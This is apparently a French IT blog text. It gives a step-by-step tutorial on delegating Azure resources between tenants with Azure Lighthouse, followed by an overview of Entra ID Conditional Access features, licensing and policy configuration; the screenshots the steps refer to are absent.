Afin de faire au plus simple dans cet article, je vous propose, au travers d’un petit exercice, de tester la seconde méthode :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur Azure Lighthouse, il vous faudra disposer de :

  • Deux tenants Microsoft (fournisseur / client)
  • Tenant fournisseur :
    • Un utilisateur avec des droits d’administrateur
  • Tenant client :
    • Une souscription Azure valide
    • Un utilisateur avec rôle de Propriétaire sur la souscription Azure

Afin d’identifier plus facilement les deux tenants Azure, je vous propose de configurer les couleurs du portail Azure comme ceci :

  • Portail Azure clair : tenant fournisseur
  • Portail Azure sombre : tenant client

Commençons par la configuration du tenant du fournisseur.

Etape I – Configuration du tenant fournisseur :

Connectez-vous au tenant du fournisseur afin de créer un nouveau groupe Entra ID dédié à Azure Lighthouse :

Ajoutez dans ce nouveau groupe les membres nécessaires pour tester par la suite le bon fonctionnement de l’accès aux ressources Azure situées sur le tenant du client :

Toujours sur le tenant du fournisseur, utilisez la barre de recherche comme ceci :

Cliquez sur Créer un modèle ARM (Azure Resource Manager) :

Nommez le nom de votre template ARM, puis cliquez-ici pour ajouter des autorisations RBAC :

Recherchez le groupe créé précédemment , ajoutez une autorisation que vous accorderez à vos utilisateurs d’Azure Lighthouse, puis définissez si les droits sont permanents ou éligibles :

Pour les droits éligibles, vous devrez configurer Lighthouse avec Azure AD PIM, qui est disponible dans la licence Entra ID Premium P2.

Cliquez sur le bouton Voir le modèle :

Cliquez sur le bouton Télécharger :

La configuration du tenant fournisseur est maintenant terminée

Ce template au format JSON est utilisable autant de fois que nécessaire, tant que les accès aux ressources Azure des clients sont identiques.

La suite se passe maintenant sur le tenant du client.

Etape II – Configuration du tenant client :

Connectez-vous au tenant du client où se trouve la souscription ou le groupe de ressources que vous souhaitez gérer.

Avant de mettre en place Azure Lighthouse, prenez le temps de vérifier sur la souscription Azure le bon enregistrement du fournisseur de ressources suivant :

Utilisez la barre de recherche comme ceci :

Cliquez ici pour voir les offres des prestataires de services :

Dans le menu Offres des prestataires de services, cliquez sur Ajouter une offre, puis sélectionnez Ajouter par le biais d’un modèle :

Téléchargez le modèle que vous avez créé précédemment :

Sélectionnez la souscription Azure, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création du lien Azure Lighthouse :

Attendez environ deux minutes :

La configuration est maintenant en place. Avant de créer une nouvelle ressource Azure, nous allons contrôler le lien établi.

Etape III – Contrôle de la configuration :

Toujours sur le tenant du client, rendez-vous dans le menu suivant afin de constater l’apparition de la délégation créée précédemment :

Retournez sur le tenant du fournisseur afin de constater l’apparition du client dans le menu suivant :

Cliquez sur le bouton de paramétrage du portail Azure afin de voir dans la liste des tenants et des souscriptions provenant du tenant du client :

Toujours sur le tenant fournisseur, vérifiez la présence de la souscription client dans la liste des souscriptions Azure, puis cliquez dessus :

Contrôlez la désactivation des fonctions d’assignation car le rôle de propriétaire n’est pas disponible via Azure Lighthouse :

L’environnement client est maintenant correctement configuré.

Afin de vérifier le bon fonctionnement, je vous propose créer une nouvelle machine virtuelle sur la souscription Azure du client, depuis le tenant du fournisseur.

Etape IV – Création d’une machine virtuelle Azure :

Encore sur le tenant fournisseur, cliquez-ici pour créer une machine virtuelle Azure :

Renseignez les informations de base relatives à votre VM en choisissant bien la souscription Azure du tenant du client, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création des ressources :

Attendez environ 2 minutes que le déploiement se termine :

Retournez sur le portail Azure du tenant du client afin de vérifier la bonne apparition de la machine virtuelle créée depuis le tenant du fournisseur :

Contrôlez les droits RBAC présents sur cette machine virtuelle :

Notez l’absence de droits RBAC, directs ou hérités, des utilisateurs d’Azure Lighthouse.

La création des ressources est bien possible grâce à la mise en place d’un rôle RBAC de contributeur au travers d’Azure Lighthouse.

La suppression des ressources Azure depuis le tenant du fournisseur fonctionne elle aussi sans souci :

Etape V – Modification des ressources gérées par Azure Lighthouse :

La modification ou l’ajout des ressources gérées par Azure Lighthouse est possible depuis le tenant client, sans besoin de réutiliser le template JSON du fournisseur :

Là encore, la suppression de droits sur une souscription Azure est possible à tout moment depuis le tenant du client :

Conclusion :

En quelques clics, nous avons mis en place une délégation de ressources Azure en place. Bravo ! Bien évidemment, cette liaison d’Azure Lighthouse est aussi compatible avec Microsoft Entra Privileged Identity Management.

Enfin, voici comme toujours une vidéo de John Savill qui en parle très bien :

Maîtrisez vos accès conditionnels

Cette semaine, Microsoft vient juste d’annoncer la disponibilité générale (GA) de fonctionnalités récentes liées à l’Accès Conditionnel, et très présent au cœur d’Entra ID. L’ajout de tableaux de bord sur plusieurs ressources (utilisateurs, périphériques et applications) faciliteront grandement le contrôle de la bonne couverture des polices d’accès conditionnels sur les besoins.

Voici un lien vers un article pour un bref rappel de l’accès conditionnel, déjà expliqué dans un autre article dédié à Azure Virtual Desktop.

Qu’est-ce que l’Accès Conditionnel ?

Tous les environnements informatiques sont en quête d’une protection toujours plus efficace pour se prémunir des intrusions extérieures. L’ouverture des architectures IT au travers du Cloud apporte une plus grande disponibilité de l’information aux utilisateurs, mais occasionne un plus de grand nombre de connexions à distances, et donc de situations sécuritaires à gérer.

Le périmètre de sécurité moderne s’étend au-delà du périmètre réseau d’une organisation pour inclure l’identité de l’utilisateur et de l’appareil. Les organisations utilisent désormais des signaux basés sur l’identité dans le cadre de leurs décisions de contrôle d’accès.

Microsoft Learn

Qu’est-ce qu’un Signal pour Entra ID ?

L’accès conditionnel repose sur un certain nombre de signaux ou paramètres d’entrée. Ces derniers sont les éléments mêmes qui caractérise la connexion de l’utilisateur, tels que :

  • Emplacement (adresse IP)
  • Appareil (OS, version, conformité, …)
  • Utilisateur Entra ID
  • Application interrogée
  • IA (Détection des risques en temps réel géré par Entra ID Identity Protection)

Qu’est-ce qu’une Décision pour Entra ID ?

La décision est le résultat dicté par la police d’accès conditionnel en correspondance avec les signaux. Il est possiblement question de bloquer l’accès à l’utilisateur, ou de l’autoriser selon des conditions particulières. Ces conditions correspondent à des mesures de sécurité supplémentaires, telles que :

  • Exiger une authentification multifacteur (cas plus utilisé)
  • Exiger que l’appareil soit marqué comme conforme
  • Exiger un appareil joint en hybride à Entra ID
  • Exiger une stratégie de protection des applications

Qu’est-ce qu’une Option d’application pour Entra ID ?

Ces options apportent une supervision de session et des accès de l’utilisateur telles que :

  • Empêcher l’exfiltration des données
  • Protéger lors du téléchargement
  • Empêcher le chargement de fichiers sans label
  • Bloquer les programmes malveillants potentiels
  • Surveiller les sessions utilisateur pour la conformité
  • Bloquer l’accès

Doit-on disposer de licence pour utiliser l’accès conditionnel ?

Rappel important : Mi-juillet 2023, Microsoft a annoncé renommer son service Azure AD (Azure Active Directory). Ce changement est encore en cours et devrait être finalisé pour la fin de cette année. Cette simplification de dénomination est en cohérence avec le périmètre de la gestion identitaire élargie et gérée par le Cloud de Microsoft.

Cela a aussi pour conséquence un léger changement de nom de certaines licences :

Microsoft a mis une FAQ à disposition juste ici.

L’utilisation de l’accès conditionnel d’Azure AD est une composante des licences Microsoft Entra ID Premium P1/P2. Vous retrouvez donc le service d’accès conditionnel dans un grand nombre de licences utilisateurs, dont les suivantes :

  • Microsoft Entra ID Premium P1
  • Microsoft Entra ID Premium P2
  • Enterprise Mobility + Security E3
  • Enterprise Mobility + Security E5
  • Microsoft 365 Business Premium
  • Microsoft 365 A3
  • Microsoft 365 A5
  • Microsoft 365 F1
  • Microsoft 365 F3
  • Microsoft 365 F5 Security
  • Microsoft 365 F5 Security + Compliance

Je vous remets également le lien vers le site très utile créé par Aaron Dinnage :

Qu’est-ce qu’alors la licence directement renseignée au niveau du tenant ?

Cette question me revient très souvent 😉. Il faut savoir que cette information provient des licences assignées aux utilisateurs du tenant. Ce n’est pas à proprement parler d’une licence ou un service du tenant :

Certains services clients ne sont actuellement pas en mesure de limiter les avantages à des utilisateurs spécifiques. Nous vous recommandons d’acquérir des licences pour tout utilisateur dont vous avez l’intention de bénéficier et/ou d’accéder au service.

Microsoft Learn

Autrement dit, une seule licence ayant la fonctionnalité d’accès conditionnel active l’option pour l’ensemble des utilisateurs du même tenant. Seulement, les règles d’utilisation du service exigent que chaque utilisateur soit couvert par une licence disposant de cette fonctionnalité.

Maintenant que la partie licence est clarifiée, nous allons pouvoir nous intéresser aux principales fonctionnalités de l’accès conditionnel.

Pour vous rendre sur les règles d’accès conditionnel, allez sur la page suivante d’Entra ID dédiée :

Voici quelques fonctionnalités de l’accès conditionnel d’Entra ID que je vous propose d’étudier :

Fonctionnalité I – Le nouveau tableau de bord :

La page d’accueil de l’accès conditionnelle a été revue pour afficher plusieurs informations essentielles aux équipes IT :

C’est vraiment ce qui manquait à ce service : la visibilité. Il est maintenant beaucoup plus simple de comprendre d’un rapide coup d’œil les éléments suivants :

  • Polices actives ou non : les polices d’accès conditionnel ont 3 statuts possibles. Le mode « Rapport seulement » est utile pour contrôler l’impact durant une phase de test sans perturber les utilisateurs.
  • Utilisateurs : Affiche le nombre d’utilisateurs ayant pu s’authentifier sans passer par aucune police d’accès conditionnel.
  • Périphériques : Affiche le nombre de poste étant non managés ou non conformes.
  • Applications : lien vers une liste des applications couvertes et non couvertes par une police d’accès conditionnel

Par exemple, un clic sur la première rubrique affiche le journal d’événements d’ouverture de session avec les filtres adéquats :

Un clic sur les applications ou sur l’onglet Couverture montre 2 différents tops applications :

  • Top des applications non couvertes par un accès conditionnel
  • Top des applications couvertes par un accès conditionnel

Là encore, un clic est possible pour basculer à nouveau sur le journal des événements d’ouverture de sessions afin d’identifier plus facilement les utilisateurs concernés par l’application ciblée :

Microsoft a même pensé au graphique afin d’améliorer la prise de vue dans son ensemble de ce que représente les accès conditionnés à ceux en étant dépourvues :

Voici une nouvelle vidéo qui résume bien ce nouvel écran :

Fonctionnalité II – Création d’une police :

Le véritable moteur de l’accès conditionnel d’Entra ID est : la police.

Depuis longtemps, il est possible de créer une police d’accès conditionnel depuis une feuille blanche. Vous devrez alors choisir parmi toutes les options disponibles dans les sections suivantes :

  • Utilisateur(s) : cible la police sur un utilisateur, un groupe d’utilisateurs ou même des utilisateurs selon leurs rôles. Il est même possible d’exclure des utilisateurs selon ces mêmes règles.
  • Destination(s) cible(s) : cible une ou plusieurs applications Cloud créées sur votre tenant. Là encore, Il est même possible d’exclure des applications si nécessaire.
  • Condition(s) : ajoute des conditions (ou signaux) présents au moment de l’authentification. Comme le risque calculé par Entra ID Identity Protection ou encore la localisation du poste.
  • Condition(s) d’accès : détermine si l’accès est bloqué et cela même si le processus d’authentification est réussi, ou conditionne l’accès selon des critères supplémentaires : MFA, poste conforme…
  • Contrôle(s) de session : renforce si besoin les conditions de persistance de la session au sein de l’application.

Fonctionnalité III – Création d’une police à partir d’un modèle :

Microsoft a proposé il y a plusieurs mois déjà de simplifier la création de police d’accès conditionnel en proposant des modèles de départ :

Ces modèles de base sont classifiées dans les 5 sections suivantes :

  • Sécurisation de base
  • Zero Trust
  • Travail à distance
  • Protection des administrateurs
  • Menaces émergentes

Par exemple, le blocage de l’authentification traditionnelle peut se faire en seulement quelques clics :

Vous pouvez à tout moment changer le statut de votre police. Cela permet de désactiver celle-ci si les résultats sécuritaires obtenus ne sont pas ceux attendus :

Fonctionnalité IV – Test d’une police avec la fonction « Et si » :

Tester une police d’accès conditionnel est possible avec un utilisateur de test ou via la fonction Et si. Cette second option est très utile si l’utilisateur n’est pas disponible ou si le scénario de test demande des conditions très particulières.

Un grand nombre de paramètres (signaux) sont disponibles pour réaliser des tests dans tous les sens :

Et le résultat ne se fait pas attendre, notre nouvelle police d’accès conditionnel créée à partir d’un modèle joue bien son rôle :

Fonctionnalité V – Déclaration de lieux nommés :

Par exemple, quand des lieux sont considérés comme des sites de l’entreprise et que la sécurité réseau est géré par le service IT, il devient utile de les renseigner ici :

Cela permet alors de créer des règles d’accès conditionnel plus précises en incluant ou excluant ces lieux :

Fonctionnalité VI – Configuration d’une MFA renforcée :

L’authentification multi-facteurs est devenue la norme pour s’authentifier sur Internet. Mais toutes les méthodes multi-facteurs ne se valent pas. Microsoft propose de laisser le choix des méthodes MFA aux administrateurs :

Par exemple, ils peuvent faire en sorte que seules les méthodes d’authentification résistantes au hameçonnage soient disponibles pour accéder à une ressource sensible. Toutefois, pour accéder à une ressource non sensible, ils peuvent autoriser des combinaisons d’authentification multifacteur (MFA) moins sécurisées, telles que mot de passe + SMS.

Microsoft Learn

Plusieurs méthodes de MFA renforcées sont déjà disponibles et il est aussi possible de créer les siennes :

Il suffit après d’appeler ces méthodes de MFA renforcées dans la configuration de la police d’accès conditionnel :

Conclusion :

L’accès conditionnel sous Entra ID a réussi s’imposer comme la référence de base dans l’autorisation d’accès aux ressources de l’entreprise. Les personnalisations possibles et la prise en compte d’exclusions apporte beaucoup de souplesse et évite la fatigue sécuritaire chez les utilisateurs. Nul doute que d’autres fonctionnalités sont encore à venir 😎.